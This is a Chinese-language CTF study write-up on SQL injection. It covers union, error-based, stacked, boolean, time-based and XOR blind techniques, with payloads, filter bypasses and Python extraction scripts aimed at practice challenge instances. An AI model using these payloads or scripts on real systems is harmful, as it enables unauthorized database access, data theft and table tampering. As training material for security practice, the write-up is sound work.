前言
本人ctf選手一名,在最近做練習(xí)時(shí)遇到了一些sql注入的題目,但是sql注入一直是我的弱項(xiàng)之一,所以寫一篇總結(jié)記錄一下最近學(xué)到的一些sql注入漏洞的利用。
可回顯注入
聯(lián)合注入
在可以聯(lián)合查詢的題目中,一般會(huì)將數(shù)據(jù)庫(kù)查詢的數(shù)據(jù)回顯到首頁(yè)面中,這是聯(lián)合注入的前提。
適用于有回顯同時(shí)數(shù)據(jù)庫(kù)軟件版本是5.0以上的MySQL數(shù)據(jù)庫(kù),因?yàn)镸YSQL會(huì)有一個(gè)系統(tǒng)數(shù)據(jù)庫(kù)information_schema, information_schema 用于存儲(chǔ)數(shù)據(jù)庫(kù)元數(shù)據(jù)(關(guān)于數(shù)據(jù)的數(shù)據(jù)),例如數(shù)據(jù)庫(kù)名、表名、列的數(shù)據(jù)類型、訪問(wèn)權(quán)限等
聯(lián)合注入的過(guò)程:
一、判斷注入點(diǎn)
判斷注入點(diǎn)可以用and 1=1/and 1=2用于判斷注入點(diǎn)
當(dāng)注入類型為數(shù)字型時(shí)返回頁(yè)面會(huì)不同,但都能正常執(zhí)行。
二、判斷注入類型
sql注入通常為數(shù)字型注入和字符型注入:
1、數(shù)字型注入
數(shù)字型語(yǔ)句:
select * from table where id =3
在這種情況下直接使用and 1=1/and 1=2是都可以正常執(zhí)行的但是返回的界面是不一樣的
2、字符型注入
字符型語(yǔ)句:
select * from table where name=’admin’
字符型語(yǔ)句輸入我們的輸入會(huì)被一對(duì)單引號(hào)或這雙引號(hào)閉合起來(lái)。
所以如果我們同樣輸入and 1=1/and 1=2會(huì)發(fā)現(xiàn)回顯畫(huà)面是并無(wú)不同的。
在我們傳入and 1=1/and 1=2時(shí)語(yǔ)句變?yōu)?/p>
select * from table where name=’admin and 1=1’
傳入的東西變成了字符串并不會(huì)被當(dāng)做命令。
所以字符型的測(cè)試方法最簡(jiǎn)單的就是加上單引號(hào)',出現(xiàn)報(bào)錯(cuò)。
加上注釋符--后正常回顯界面。
這里還有的點(diǎn)就是sql語(yǔ)句的閉合也是有時(shí)候不同的,下面是一些常見(jiàn)的
?id=1'--+
?id=1"--+
?id=1')--+
?id=1")--+
三、判斷列數(shù)
這一步可以用到order by函數(shù),order by 函數(shù)是對(duì)MySQL中查詢結(jié)果按照指定字段名進(jìn)行排序,除了指定字 段名還可以指定字段的欄位進(jìn)行排序,第一個(gè)查詢字段為1,第二個(gè)為2,依次類推,所以可以利用order by就可以判斷列數(shù)。
以字符型注入為例:
在列數(shù)存在時(shí)會(huì)正常回顯
但是列數(shù)不存在時(shí)就會(huì)報(bào)錯(cuò)
四、判斷顯示位
這步就說(shuō)明了為什么是聯(lián)合注入了,用到了UNION,UNION的作用是將兩個(gè)select查詢結(jié)果合并
但是程序在展示數(shù)據(jù)的時(shí)候通常只會(huì)取結(jié)果集的第一行數(shù)據(jù),這就讓聯(lián)合注入有了利用的點(diǎn)。
當(dāng)我們查詢的第一行是不存在的時(shí)候就會(huì)回顯第二行給我們。
講查詢的數(shù)據(jù)置為-1,那第一行的數(shù)據(jù)為空,第二行自然就變?yōu)榱说谝恍?/p>
在這個(gè)基礎(chǔ)上進(jìn)行注入
可以發(fā)現(xiàn)2,3都為可以利用的顯示點(diǎn)。
五、獲取所有數(shù)據(jù)庫(kù)名
和前面一樣利用union select,加上group_concat()一次性顯示。
?id=-1' union select 1,(select group_concat(database())),3--+
六、獲取數(shù)據(jù)庫(kù)所有表名
?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database() limit 0,1),3--+
七、獲取字段名
?id=-1%27%20union%20select%201
(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=database()%20limit%200,1),3--+
八、獲取字段中的數(shù)據(jù)
?id=-1' union select 1,(select group_concat(username) from security.users limit 0,1),3--+
報(bào)錯(cuò)注入
現(xiàn)在非常多的Web程序沒(méi)有正常的錯(cuò)誤回顯,這樣就需要我們利用報(bào)錯(cuò)注入的方式來(lái)進(jìn)行SQL注入了
報(bào)錯(cuò)注入的利用步驟和聯(lián)合注入一致,只是利用函數(shù)不同。
以u(píng)pdatexml為例。
UpdateXML(xml_target, xpath_expr, new_xml)
xml_target: 需要操作的xml片段
xpath_expr: 需要更新的xml路徑(Xpath格式)
new_xml: 更新后的內(nèi)容
此函數(shù)用來(lái)更新選定XML片段的內(nèi)容,將XML標(biāo)記的給定片段的單個(gè)部分替換為 xml_target 新的XML片段 new_xml ,然后返回更改的XML。xml_target替換的部分 與xpath_expr 用戶提供的XPath表達(dá)式匹配。
這個(gè)函數(shù)當(dāng)xpath路徑錯(cuò)誤時(shí)就會(huì)報(bào)錯(cuò),而且會(huì)將路徑內(nèi)容返回,這就能在報(bào)錯(cuò)內(nèi)容中看到我們想要的內(nèi)容。
而且以~開(kāi)頭的內(nèi)容不是xml格式的語(yǔ)法,那就可以用concat函數(shù)拼接~使其報(bào)錯(cuò),當(dāng)然只要是不符合格式的都可以使其報(bào)錯(cuò)。
[極客大挑戰(zhàn) 2019]HardSQL
登錄界面嘗試注入,測(cè)試后發(fā)現(xiàn)是單引號(hào)字符型注入,且對(duì)union和空格進(jìn)行了過(guò)濾,不能用到聯(lián)合注入,但是有錯(cuò)誤信息回顯,說(shuō)明可以使用報(bào)錯(cuò)注入。
username=admin'or(updatexml(1,concat('~',(select(database())),'~'),1))#&password=123
利用updatexml函數(shù)的報(bào)錯(cuò)原理進(jìn)行注入在路徑處利用concat函數(shù)拼接~和我們的注入語(yǔ)句
發(fā)現(xiàn)xpath錯(cuò)誤并執(zhí)行sql語(yǔ)句將錯(cuò)誤返回。
在進(jìn)行爆表這一步發(fā)現(xiàn)了等號(hào)也被過(guò)濾,但是可以用到like代替等號(hào)。
username=admin'or(updatexml(1,concat('~',(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),'~'),1))#&password=123
爆字段
username=admin'or(updatexml(1,concat('~',(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),'~'),1))#&password=123
爆數(shù)據(jù)
username=admin'or(updatexml(1,concat('~',(select(password)from(H4rDsq1)),'~'),1))#&password=123
這里就出現(xiàn)了問(wèn)題flag是不完整的,因?yàn)閡pdatexml能查詢字符串的最大長(zhǎng)度為32,所以這里要用到left函數(shù)和right函數(shù)進(jìn)行讀取
username=admin'or(updatexml(1,concat('~',(select(right(password,25)from(H4rDsq1)),'~'),1))#&password=123
報(bào)錯(cuò)注入有很多函數(shù)可以用不止updatexml一種,以下三種也是常用函數(shù):
extractvalue():是mysql對(duì)xml文檔數(shù)據(jù)進(jìn)行查詢的xpath函數(shù)
extractvalue (XML_document, XPath_string);用法與updatexml一致
floor():mysql中用來(lái)取整的函數(shù),與group by函數(shù)并用
exp():此函數(shù)返回e(自然對(duì)數(shù)的底)指數(shù)X的冪值,當(dāng)傳遞一個(gè)大于709的值時(shí),函數(shù)exp()就會(huì)引起一個(gè)溢出錯(cuò)誤
堆疊注入
堆疊注入就是多條語(yǔ)句一同執(zhí)行。
原理就是mysql_multi_query() 支持多條sql語(yǔ)句同時(shí)執(zhí)行,用;分隔,成堆的執(zhí)行sql語(yǔ)句。
比如
select databse();select * from users;
在權(quán)限足夠的情況下甚至可以對(duì)數(shù)據(jù)庫(kù)進(jìn)行增刪改查。但是堆疊注入的限制是很大的。但是與union聯(lián)合執(zhí)行不同的是它可以同時(shí)執(zhí)行無(wú)數(shù)條語(yǔ)句而且是任何sql語(yǔ)句。而union執(zhí)行的語(yǔ)句是有限的。
[強(qiáng)網(wǎng)杯 2019]隨便注
判斷完注入類型后嘗試聯(lián)合注入,發(fā)現(xiàn)select被過(guò)濾,且正則不區(qū)分大小寫過(guò)濾。
那么就用堆疊注入,使用show就可以不用select了。
接下去獲取表信息和字段信息
1';show tables;#
那一串?dāng)?shù)字十分可疑大概率flag就在里面,查看一下
1';show columns from `1919810931114514`;#
這里的表名要加上反單引號(hào),是數(shù)據(jù)庫(kù)的引用符。
發(fā)現(xiàn)flag,但是沒(méi)辦法直接讀取。再讀取words,發(fā)現(xiàn)里面有個(gè)id字段,猜測(cè)數(shù)據(jù)庫(kù)語(yǔ)句為
select * from words where id = '';
結(jié)合1'or 1=1#可以讀取全部數(shù)據(jù)可以利用改名的方法把修改1919810931114514為words,flag修改為id,就可以把flag讀取了。
最終payload:
1';
alter table words rename to words1;
alter table `1919810931114514` rename to words;
alter table words change flag(被修改的字段) id(修改成的字段名) varchar(50);
#
不可回顯注入
盲注需要掌握的幾個(gè)函數(shù)
Length()函數(shù) 返回字符串的長(zhǎng)度
Substr()截取字符串
Ascii()返回字符的ascii碼
sleep(n):將程序掛起一段時(shí)間 n為n秒
if(expr1,expr2,expr3):判斷語(yǔ)句 如果第一個(gè)語(yǔ)句正確就執(zhí)行第二個(gè)語(yǔ)句如果錯(cuò)誤執(zhí)行第三個(gè)語(yǔ)句
MID() 函數(shù)用于從文本字段中提取字符
基于布爾的盲注
在網(wǎng)頁(yè)屏蔽了錯(cuò)誤信息時(shí)就只能通過(guò)網(wǎng)頁(yè)返回True或者False判斷,本質(zhì)上是一種暴力破解,這就是布爾盲注的利用點(diǎn)。
首先,判斷注入點(diǎn)和注入類型是一樣的。
但是盲注沒(méi)有判斷列數(shù)這一步和判斷顯示位這兩步,這是和可回顯注入的不同。
判斷完注入類型后就要判斷數(shù)據(jù)庫(kù)的長(zhǎng)度,這里就用到了length函數(shù)。
以[WUSTCTF2020]顏值成績(jī)查詢?yōu)槔?/p>
輸入?yún)?shù)后,發(fā)現(xiàn)url處有個(gè)get傳入的stunum
然后用到length函數(shù)測(cè)試是否有注入點(diǎn)。
?stunum=if(length(database())>1,1,0)
發(fā)現(xiàn)頁(yè)面有明顯變化
將傳入變?yōu)?/p>
?stunum=if(length(database())>3,1,0)
頁(yè)面回顯此學(xué)生不存在
那么就可以得出數(shù)據(jù)庫(kù)名長(zhǎng)度為3
測(cè)試發(fā)現(xiàn)過(guò)濾了空格
然后就是要查數(shù)據(jù)庫(kù)名了,這里有兩種方法
一、只用substr函數(shù),直接對(duì)比
if(substr((select/**/database()),1,1)=c,1,0)
這種方法在寫腳本時(shí)可以用于直接遍歷。
二、加上ascii函數(shù)
if(ascii(substr((select/**/database()),1,1))>25,1,0)
這個(gè)payload在寫腳本時(shí)直接遍歷同樣可以,也可用于二分法查找,二分法速度更快。
接下來(lái)的步驟就和聯(lián)合注入一樣,只不過(guò)使用substr函數(shù)一個(gè)一個(gè)截取字符逐個(gè)判斷。但是這種盲注手工一個(gè)一個(gè)注十分麻煩所以要用到腳本。
直接遍歷腳本
import requests
table="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890_{}_+,/"
data=''
for a in range(1,50):
for b in table:
url="http://d6b3e672-c286-4a75-b908-eca0d4844759.node4.buuoj.cn:81/?stunum=if(substr((select/**/database()),%d,1)='%s',1,0)"%(a,b)
#url="http://d6b3e672-c286-4a75-b908-eca0d4844759.node4.buuoj.cn:81/?stunum=if(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)=database()),%d,1)='%s',1,0)"%(a,b)
#url="http://d6b3e672-c286-4a75-b908-eca0d4844759.node4.buuoj.cn:81/?stunum=if(substr((select(group_concat(column_name))from(information_schema.columns)where(table_schema)=database()),%d,1)='%s',1,0)"%(a,b)
#url="http://d6b3e672-c286-4a75-b908-eca0d4844759.node4.buuoj.cn:81/?stunum=if(substr((select(group_concat(value))from/**/flag),%d,1)='%s',1,0)"%(a,b)
r = requests.session().get(url,timeout=3)
if "Hi admin" in r.text:
data+=b
print(data)
break
二分法腳本
import requests
url = "http://d6b3e672-c286-4a75-b908-eca0d4844759.node4.buuoj.cn:81/?stunum="
result = ""
i = 0
while( True ):
i = i + 1
high=32
low=127
while( high < low ):
mid = (high + low) // 2
#payload = "if(ascii(substr(database(),%d,1))>%d,1,0)" % (i , mid)
#payload = "if(ascii(substr((select/**/group_concat(table_name)from(information_schema.tables)where(table_schema=database())),%d,1))>%d,1,0)" % (i , mid)
#payload = "if(ascii(substr((select/**/group_concat(column_name)from(information_schema.columns)where(table_name='flag')),%d,1))>%d,1,0)" % (i , mid)
payload = "if(ascii(substr((select(group_concat(value))from/**/flag),%d,1))>%d,1,0)"%(i,mid)
r = requests.get(url+payload)
r.encoding = "utf-8"
if "Hi admin" in r.text :
high = mid + 1
else:
low = mid
last = result
if high!=32:
result += chr(high)
else:
break
print(result)
基于時(shí)間的盲注
時(shí)間盲注用于代碼存在sql注入漏洞,然而頁(yè)面既不會(huì)回顯數(shù)據(jù),也不會(huì)回顯錯(cuò)誤信息
語(yǔ)句執(zhí)行后也不提示真假,我們不能通過(guò)頁(yè)面的內(nèi)容來(lái)判斷
所以有布爾盲注就必有時(shí)間盲注,但有時(shí)間盲注不一定有布爾盲注
時(shí)間盲注主要是利用sleep函數(shù)讓網(wǎng)頁(yè)的響應(yīng)時(shí)間不同從而實(shí)現(xiàn)注入。
sql-lab-less8:
無(wú)論輸入什么都只會(huì)回顯一個(gè)you are in...,這就是時(shí)間盲注的特點(diǎn)。
當(dāng)正常輸入?id=1時(shí)時(shí)間為11毫秒
判斷為單引號(hào)字符型注入后,插入sleep語(yǔ)句
?id=1' and if(length(database())>0,sleep(3),1) --+
明顯發(fā)現(xiàn)響應(yīng)時(shí)間為3053毫秒。
利用時(shí)間的不同就可以利用腳本跑出數(shù)據(jù)庫(kù),后續(xù)步驟和布爾盲注一致。
爆庫(kù)
?id=1' and if(ascii(substr(database(),1,1))>25,sleep(3),1) --+
爆表
?id=1' and if(ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),1,1))>25,sleep(3),1)--+
爆字段
?id=1' and if(ascii(substr((select group_concat(column_name)from information_schema.columns where table_schema=database()),1,1))>25,sleep(3),1)--+
腳本
import requests
import time
database=''
str=''
table='abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.'
for i in range(1,9):
for char in table:
charAscii = ord(char)
url = "http://localhost/sql/Less-8/?id=1' and if(ascii(substr(database(),{0},1))={1},sleep(3),1)--+"
urlformat = url.format(i,charAscii)
start_time = time.time()
rsp = requests.get(urlformat)
if time.time() - start_time > 2.5:
database+=char
print ('database: ',database)
break
else:
pass
print ('database is ' + database)
基于異或的布爾盲注
在進(jìn)行SQL注入時(shí),發(fā)現(xiàn)union,and,or被完全過(guò)濾掉了,就可以考慮使用異或注入
什么是異或呢
異或是一種邏輯運(yùn)算,運(yùn)算法則簡(jiǎn)言之就是:兩個(gè)條件相同(同真或同假)即為假(0),兩個(gè)條件不同即為真(1),null與任何條件做異或運(yùn)算都為null,如果從數(shù)學(xué)的角度理解就是,空集與任何集合的交集都為空
即1^1=0,0^0=0,1^0=1
利用這個(gè)原理可以在union,and,or都被過(guò)濾的情況下實(shí)現(xiàn)注入
[極客大挑戰(zhàn) 2019]FinalSQL
給了五個(gè)選項(xiàng)但是都沒(méi)什么用,在點(diǎn)擊后都會(huì)在url處出現(xiàn)?id。
而且union,and,or都被過(guò)濾
測(cè)試發(fā)現(xiàn)?id=1^1會(huì)報(bào)錯(cuò)
但是?id=1^0會(huì)返回?id=1的頁(yè)面,這就是前面說(shuō)的原理,當(dāng)1^0時(shí)是等于1的所以返回?id=1的頁(yè)面。
根據(jù)原理寫出payload,進(jìn)而寫出腳本。
爆庫(kù)
?id=1^(ascii(substr(database(),%d,1))>%d)
爆表
?id=1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))>%d)
爆字段
?id=1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_schema=database())),%d,1))>%d)
據(jù)此可以寫出基于異或的布爾盲注腳本
import requests
flag = ''
for i in range(1,300):
low = 32
high = 128
mid = (low+high)//2
while(low<high):
#payload = 'http://f208e4eb-e9b2-4542-87f2-9348eb856e64.node4.buuoj.cn:81/search.php?id=1^(ascii(substr(database(),%d,1))>%d)' %(i,mid)
#payload = "http://f208e4eb-e9b2-4542-87f2-9348eb856e64.node4.buuoj.cn:81/search.php?id=1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))>%d)" %(i,mid)
#payload = "http://f208e4eb-e9b2-4542-87f2-9348eb856e64.node4.buuoj.cn:81/search.php?id=1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_schema=database())),%d,1))>%d)" %(i,mid)
payload = "http://f208e4eb-e9b2-4542-87f2-9348eb856e64.node4.buuoj.cn:81/search.php?id=1^(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)" %(i,mid)
r = requests.get(url=payload)
if 'ERROR' in r.text:
low = mid+1
else:
high = mid
mid = (low+high)//2
if(mid<33 or mid>127):
break
flag = flag+chr(mid)
print(flag)
實(shí)驗(yàn)推薦:課程:SQL注入初級(jí)(合天網(wǎng)安實(shí)驗(yàn)室)